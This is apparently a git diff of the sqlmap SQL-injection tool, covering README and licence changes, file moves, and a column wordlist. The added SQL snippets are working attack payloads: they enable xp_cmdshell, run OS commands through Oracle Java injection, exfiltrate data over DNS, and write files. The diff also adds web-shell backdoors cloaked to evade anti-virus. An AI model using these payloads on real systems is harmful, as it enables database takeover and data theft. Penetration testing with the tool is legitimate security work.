+prohibited by law if you do not accept this License. Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+ 6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions. You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+ 7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all. For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices. Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+ 8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded. In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+ 9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation. If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+ 10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission. For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this. Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+ NO WARRANTY
+
+ 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+ 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+ END OF TERMS AND CONDITIONS
diff --git a/README.md b/README.md
index 40f61d7e34d..e85b3a04359 100644
--- a/README.md
+++ b/README.md
@@ -1,67 +1,80 @@
-# Introduction
+# sqlmap 
-sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-# Features
+sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
-* Full support for **MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB** database management systems.
-* Full support for six SQL injection techniques: **boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band**.
-* Support to **directly connect to the database** without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
-* Support to enumerate **database users, users' password hashes, users' privileges, users' roles, databases, tables and columns**.
-* Automatic recognition of password hash formats and support for **cracking them using a dictionary-based attack**.
-* Support to **dump database tables** entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
-* Support to **search for specific database names, specific tables across all databases or specific columns across all databases' tables**. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
-* Support to **download and upload any file** from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
-* Support to **execute arbitrary commands and retrieve their standard output** on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
-* Support to **establish an out-of-band stateful TCP connection between the attacker machine and the database server** underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
-* Support for **database process' user privilege escalation** via Metasploit's Meterpreter `getsystem` command.
+Screenshots
+----
-# Download
+
-You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master).
+You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
-Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
-```
-git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-```
-
-This is strongly recommended before reporting any bug to the [mailing list](#mailing-list).
-
-# Documentation
-
-* sqlmap [user's manual](https://github.com/sqlmapproject/sqlmap/raw/master/doc/README.pdf).
-* sqlmap [ChangeLog](https://raw.github.com/sqlmapproject/sqlmap/master/doc/ChangeLog).
-* *SQL injection: Not only AND 1=1* [slides](http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated) presented by Bernardo at the 2nd Digital Security Forum in Lisbon (Portugal) on June 27th, 2009.
-* *Advanced SQL injection to operating system full control* [whitepaper](http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857) and [slides](http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides) presented by Bernardo at [Black Hat Europe 2009](https://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html) in Amsterdam (The Netherlands) on April 16th, 2009.
-* *Expanding the control over the operating system from the database* [slides](http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database) presented by Bernardo at [SOURCE Conference](http://www.sourceconference.com/archive/) 2009 in Barcelona (Spain) on September 21st, 2009.
-* *Got database access? Own the network!* [slides](http://www.slideshare.net/inquis/ath-con-2010bernardodamelegotdbownnet) presented by Bernardo at [AthCon 2010](http://www.athcon.org/archive.php) in Athens (Greece) on June 3rd, 2010.
-* *sqlmap - security development in python* [slides](http://www.slideshare.net/stamparm/euro-python-2011miroslavstamparsqlmapsecuritydevelopmentinpython) presented by Miroslav at [EuroPython 2011](http://ep2011.europython.eu/) in Firenze (Italy) on June 23rd, 2011.
-* *It all starts with the ' (SQL injection from attacker's point of view)* [slides](http://www.slideshare.net/stamparm/f-sec-2011miroslavstamparitallstartswiththesinglequote-9311238) presented by Miroslav at [FSec - FOI Security Symposium](http://fsec.foi.hr/) in Varazdin (Croatia) on September 23rd, 2011.
-* *DNS exfiltration using sqlmap* [slides](http://www.slideshare.net/stamparm/dns-exfiltration-using-sqlmap-13163281) and accompanying [whitepaper](http://www.slideshare.net/stamparm/ph-days-2012miroslavstampardataretrievaloverdnsinsqlinjectionattackspaper) titled *Data Retrieval over DNS in SQL Injection Attacks* presented by Miroslav at [PHDays 2012](http://www.phdays.com/) in Moscow (Russia) on May 31st, 2012.
-
-# Mailing list
-
-The `sqlmap-users@lists.sourceforge.net` mailing list is the preferred way to ask questions, report bugs, suggest new features and discuss with other users, [contributors](https://github.com/sqlmapproject/sqlmap/blob/master/doc/THANKS) and the [developers](#developers). To subscribe use the [online web form](https://lists.sourceforge.net/lists/listinfo/sqlmap-users).
-The mailing list is archived online on [SourceForge](http://sourceforge.net/mailarchive/forum.php?forum_name=sqlmap-users), [Gmane](http://news.gmane.org/gmane.comp.security.sqlmap) and is available also via Gmane [RSS feed](http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap).
-
-# Developers
+Installation
+----
-[Bernardo Damele A. G.](mailto:bernardo@sqlmap.org) - [@inquisb](https://twitter.com/inquisb)
-[Miroslav Stampar](mailto:miroslav@sqlmap.org) - [@stamparm](https://twitter.com/stamparm)
+You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
-You can contact the development team by writing to `dev@sqlmap.org`.
-
-# Contribute
-
-We are constantly seeking for people who can write some clean Python code, are up to do security research, know about web application security, database assessment and takeover, software refactoring and are motivated to join the development team.
-
-If this sounds interesting to you, send us your [pull requests](https://github.com/sqlmapproject/sqlmap/pulls)!
-
-# Donate
-
-sqlmap is the result of numerous hours of passionated work from a small team of computer security enthusiasts. If you appreciated our work and you want to see sqlmap kept being developed, please consider making a small donation to our efforts.
-
-# License
+Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
-sqlmap is released under the terms of the [General Public License v2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html).
-sqlmap is copyrighted by its [developers](#developers).
+ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform.
+
+Usage
+----
+
+To get a list of basic options and switches use:
+
+ python sqlmap.py -h
+
+To get a list of all options and switches use:
+
+ python sqlmap.py -hh
+
+You can find a sample run [here](https://asciinema.org/a/46601).
+To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+Links
+----
+
+* Homepage: https://sqlmap.org
+* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
+* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* X: [@sqlmap](https://x.com/sqlmap)
+* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+
+Translations
+----
+
+* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md)
+* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md)
+* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
+* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
+* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
+* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md)
+* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
+* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md)
+* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md)
+* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
+* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md)
+* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
+* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
+* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
+* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
+* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md)
+* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
+* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
+* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
+* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md)
+* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md)
+* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md)
+* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
+* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
+* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
+* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md)
diff --git a/_sqlmap.py b/_sqlmap.py
deleted file mode 100755
index 7b5e935ec6a..00000000000
--- a/_sqlmap.py
+++ /dev/null
@@ -1,125 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-import os
-import sys
-import time
-import traceback
-import warnings
-
-warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
-warnings.filterwarnings(action="ignore", category=DeprecationWarning)
-
-try:
- import psyco
- psyco.full()
- psyco.profile()
-except ImportError:
- pass
-
-from lib.controller.controller import start
-from lib.core.common import banner
-from lib.core.common import dataToStdout
-from lib.core.common import getUnicode
-from lib.core.common import setPaths
-from lib.core.common import weAreFrozen
-from lib.core.data import cmdLineOptions
-from lib.core.data import conf
-from lib.core.data import kb
-from lib.core.data import logger
-from lib.core.data import paths
-from lib.core.common import unhandledExceptionMessage
-from lib.core.exception import exceptionsTuple
-from lib.core.exception import sqlmapSilentQuitException
-from lib.core.exception import sqlmapUserQuitException
-from lib.core.option import init
-from lib.core.profiling import profile
-from lib.core.settings import LEGAL_DISCLAIMER
-from lib.core.testing import smokeTest
-from lib.core.testing import liveTest
-from lib.parse.cmdline import cmdLineParser
-
-def modulePath():
- """
- This will get us the program's directory, even if we are frozen
- using py2exe
- """
-
- return os.path.dirname(getUnicode(sys.executable if weAreFrozen() else __file__, sys.getfilesystemencoding()))
-
-def main():
- """
- Main function of sqlmap when running from command line.
- """
-
- try:
- paths.SQLMAP_ROOT_PATH = modulePath()
- setPaths()
- banner()
-
- dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True)
- dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True)
-
- # Store original command line options for possible later restoration
- cmdLineOptions.update(cmdLineParser().__dict__)
-
- init(cmdLineOptions)
-
- if conf.profile:
- profile()
- elif conf.smokeTest:
- smokeTest()
- elif conf.liveTest:
- liveTest()
- else:
- start()
-
- except sqlmapUserQuitException:
- errMsg = "user quit"
- logger.error(errMsg)
-
- except sqlmapSilentQuitException:
- pass
-
- except exceptionsTuple, e:
- e = getUnicode(e)
- logger.critical(e)
-
- except KeyboardInterrupt:
- print
- errMsg = "user aborted"
- logger.error(errMsg)
-
- except EOFError:
- print
- errMsg = "exit"
- logger.error(errMsg)
-
- except SystemExit:
- pass
-
- except:
- print
- errMsg = unhandledExceptionMessage()
- logger.critical(errMsg)
- traceback.print_exc()
-
- finally:
- dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True)
-
- kb.threadContinue = False
- kb.threadException = True
-
- if conf.get("hashDB", None):
- try:
- conf.hashDB.flush(True)
- except KeyboardInterrupt:
- pass
-
- # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
- if conf.get("threads", 0) > 1 or conf.get("dnsServer", None):
- os._exit(0)
diff --git a/data/procs/README.txt b/data/procs/README.txt
new file mode 100644
index 00000000000..c693f0630ff
--- /dev/null
+++ b/data/procs/README.txt
@@ -0,0 +1,4 @@
+Files in this folder represent SQL snippets used by sqlmap on the target
+system.
+They are licensed under the terms of the GNU Lesser General Public License
+where not specified otherwise.
diff --git a/procs/mssqlserver/activate_sp_oacreate.txt b/data/procs/mssqlserver/activate_sp_oacreate.sql
similarity index 100%
rename from procs/mssqlserver/activate_sp_oacreate.txt
rename to data/procs/mssqlserver/activate_sp_oacreate.sql
diff --git a/procs/mssqlserver/configure_openrowset.txt b/data/procs/mssqlserver/configure_openrowset.sql
similarity index 100%
rename from procs/mssqlserver/configure_openrowset.txt
rename to data/procs/mssqlserver/configure_openrowset.sql
diff --git a/procs/mssqlserver/configure_xp_cmdshell.txt b/data/procs/mssqlserver/configure_xp_cmdshell.sql
similarity index 77%
rename from procs/mssqlserver/configure_xp_cmdshell.txt
rename to data/procs/mssqlserver/configure_xp_cmdshell.sql
index 349c8cf8c37..e23e4b06a48 100644
--- a/procs/mssqlserver/configure_xp_cmdshell.txt
+++ b/data/procs/mssqlserver/configure_xp_cmdshell.sql
@@ -2,5 +2,5 @@ EXEC master..sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'xp_cmdshell',%ENABLE%;
RECONFIGURE WITH OVERRIDE;
-EXEC sp_configure 'show advanced options',0;
+EXEC master..sp_configure 'show advanced options',0;
RECONFIGURE WITH OVERRIDE
diff --git a/data/procs/mssqlserver/create_new_xp_cmdshell.sql b/data/procs/mssqlserver/create_new_xp_cmdshell.sql
new file mode 100644
index 00000000000..005730860fa
--- /dev/null
+++ b/data/procs/mssqlserver/create_new_xp_cmdshell.sql
@@ -0,0 +1,3 @@
+DECLARE @%RANDSTR% nvarchar(999);
+set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
+EXEC master..sp_executesql @%RANDSTR%
diff --git a/procs/mssqlserver/disable_xp_cmdshell_2000.txt b/data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
similarity index 100%
rename from procs/mssqlserver/disable_xp_cmdshell_2000.txt
rename to data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
diff --git a/procs/mssqlserver/dns_request.txt b/data/procs/mssqlserver/dns_request.sql
similarity index 100%
rename from procs/mssqlserver/dns_request.txt
rename to data/procs/mssqlserver/dns_request.sql
diff --git a/procs/mssqlserver/enable_xp_cmdshell_2000.txt b/data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
similarity index 100%
rename from procs/mssqlserver/enable_xp_cmdshell_2000.txt
rename to data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
diff --git a/data/procs/mssqlserver/run_statement_as_user.sql b/data/procs/mssqlserver/run_statement_as_user.sql
new file mode 100644
index 00000000000..575c22ef590
--- /dev/null
+++ b/data/procs/mssqlserver/run_statement_as_user.sql
@@ -0,0 +1,3 @@
+SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
+# SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%')
+# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
diff --git a/procs/mysql/dns_request.txt b/data/procs/mysql/dns_request.sql
similarity index 100%
rename from procs/mysql/dns_request.txt
rename to data/procs/mysql/dns_request.sql
diff --git a/data/procs/mysql/write_file_limit.sql b/data/procs/mysql/write_file_limit.sql
new file mode 100644
index 00000000000..e879fbe4030
--- /dev/null
+++ b/data/procs/mysql/write_file_limit.sql
@@ -0,0 +1 @@
+LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -
diff --git a/data/procs/oracle/dns_request.sql b/data/procs/oracle/dns_request.sql
new file mode 100644
index 00000000000..5dda762c08d
--- /dev/null
+++ b/data/procs/oracle/dns_request.sql
@@ -0,0 +1,3 @@
+SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
+# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
+# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual
diff --git a/data/procs/oracle/read_file_export_extension.sql b/data/procs/oracle/read_file_export_extension.sql
new file mode 100644
index 00000000000..3d66bbaf53d
--- /dev/null
+++ b/data/procs/oracle/read_file_export_extension.sql
@@ -0,0 +1,4 @@
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
diff --git a/procs/postgresql/dns_request.txt b/data/procs/postgresql/dns_request.sql
similarity index 80%
rename from procs/postgresql/dns_request.txt
rename to data/procs/postgresql/dns_request.sql
index dd04d86632f..6724af223cc 100644
--- a/procs/postgresql/dns_request.txt
+++ b/data/procs/postgresql/dns_request.sql
@@ -1,4 +1,5 @@
DROP TABLE IF EXISTS %RANDSTR1%;
+# https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required
CREATE TABLE %RANDSTR1%(%RANDSTR2% text);
CREATE OR REPLACE FUNCTION %RANDSTR3%()
RETURNS VOID AS $$
diff --git a/data/shell/README.txt b/data/shell/README.txt
new file mode 100644
index 00000000000..4c64c411648
--- /dev/null
+++ b/data/shell/README.txt
@@ -0,0 +1,7 @@
+Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
+
+To prepare the original scripts to the cloaked form use this command:
+find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
+
+To get back them into the original form use this:
+find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_
new file mode 100644
index 00000000000..8d82ec3bd34
Binary files /dev/null and b/data/shell/backdoors/backdoor.asp_ differ
diff --git a/data/shell/backdoors/backdoor.aspx_ b/data/shell/backdoors/backdoor.aspx_
new file mode 100644
index 00000000000..4b27111e5a5
Binary files /dev/null and b/data/shell/backdoors/backdoor.aspx_ differ
diff --git a/data/shell/backdoors/backdoor.cfm_ b/data/shell/backdoors/backdoor.cfm_
new file mode 100644
index 00000000000..dce65debacb
Binary files /dev/null and b/data/shell/backdoors/backdoor.cfm_ differ
diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_
new file mode 100644
index 00000000000..c28a51a5abf
Binary files /dev/null and b/data/shell/backdoors/backdoor.jsp_ differ
diff --git a/data/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_
new file mode 100644
index 00000000000..313b4a89b19
Binary files /dev/null and b/data/shell/backdoors/backdoor.php_ differ
diff --git a/data/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_
new file mode 100644
index 00000000000..424e85b64e6
Binary files /dev/null and b/data/shell/stagers/stager.asp_ differ
diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_
new file mode 100644
index 00000000000..acbf840bc04
Binary files /dev/null and b/data/shell/stagers/stager.aspx_ differ
diff --git a/data/shell/stagers/stager.cfm_ b/data/shell/stagers/stager.cfm_
new file mode 100644
index 00000000000..8193566e523
Binary files /dev/null and b/data/shell/stagers/stager.cfm_ differ
diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_
new file mode 100644
index 00000000000..f1c0feb3384
Binary files /dev/null and b/data/shell/stagers/stager.jsp_ differ
diff --git a/data/shell/stagers/stager.php_ b/data/shell/stagers/stager.php_
new file mode 100644
index 00000000000..945a37e80c4
Binary files /dev/null and b/data/shell/stagers/stager.php_ differ
diff --git a/txt/common-columns.txt b/data/txt/common-columns.txt
similarity index 90%
rename from txt/common-columns.txt
rename to data/txt/common-columns.txt
index 716a46a875f..a3d425bee12 100644
--- a/txt/common-columns.txt
+++ b/data/txt/common-columns.txt
@@ -1,2547 +1,2854 @@
-# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
-# See the file 'doc/COPYING' for copying permission
-
-id
-name
-user_id
-description
-username
-type
-title
-userid
-group_id
-first_name
-itemid
-category_id
-firstname
-code
-pno
-nextval
-hostid
-table_name
-cid
-email
-smtp_helo
-platformid
-dept_id
-album_id
-key_
-the
-child_cfg
-jid
-platform
-expression
-functionid
-smtp_server
-uid
-clock
-alarmid
-alertid
-private_key
-actionid
-triggerid
-triggertemplateid
-local_spi
-delay
-sid
-mediaid
-peer_cfg
-smtp_email
-order_id
-shared_secret
-itemtemplateid
-certificate
-insertid
-role_id
-song_id
-item_id
-product_id
-blob_id
-distip
-artist_id
-empno
-customer_name
-grade
-branch_name
-portal_id
-deptno
-data
-rid
-app_id
-class
-loan_number
-countryid
-enabled
-fname
-country
-ename
-object_id
-idtype
-groupid
-rowid
-accno
-account_number
-event
-passwd
-sequence_id
-datarow
-owner_id
-display
-pid
-venue
-locked
-eno
-serviceid
-alias
-categoryid
-canoccupantsinvite
-keyword
-channel_id
-loginrestrictedtonickname
-registrationenabled
-logenabled
-ip
-maxnumber
-tag_id
-alert_id
-cananyonediscoverjid
-address
-sumdatarow
-emp_id
-ono
-anyone
-surname
-subdomain
-maxusers
-ccc
-datacol
-os
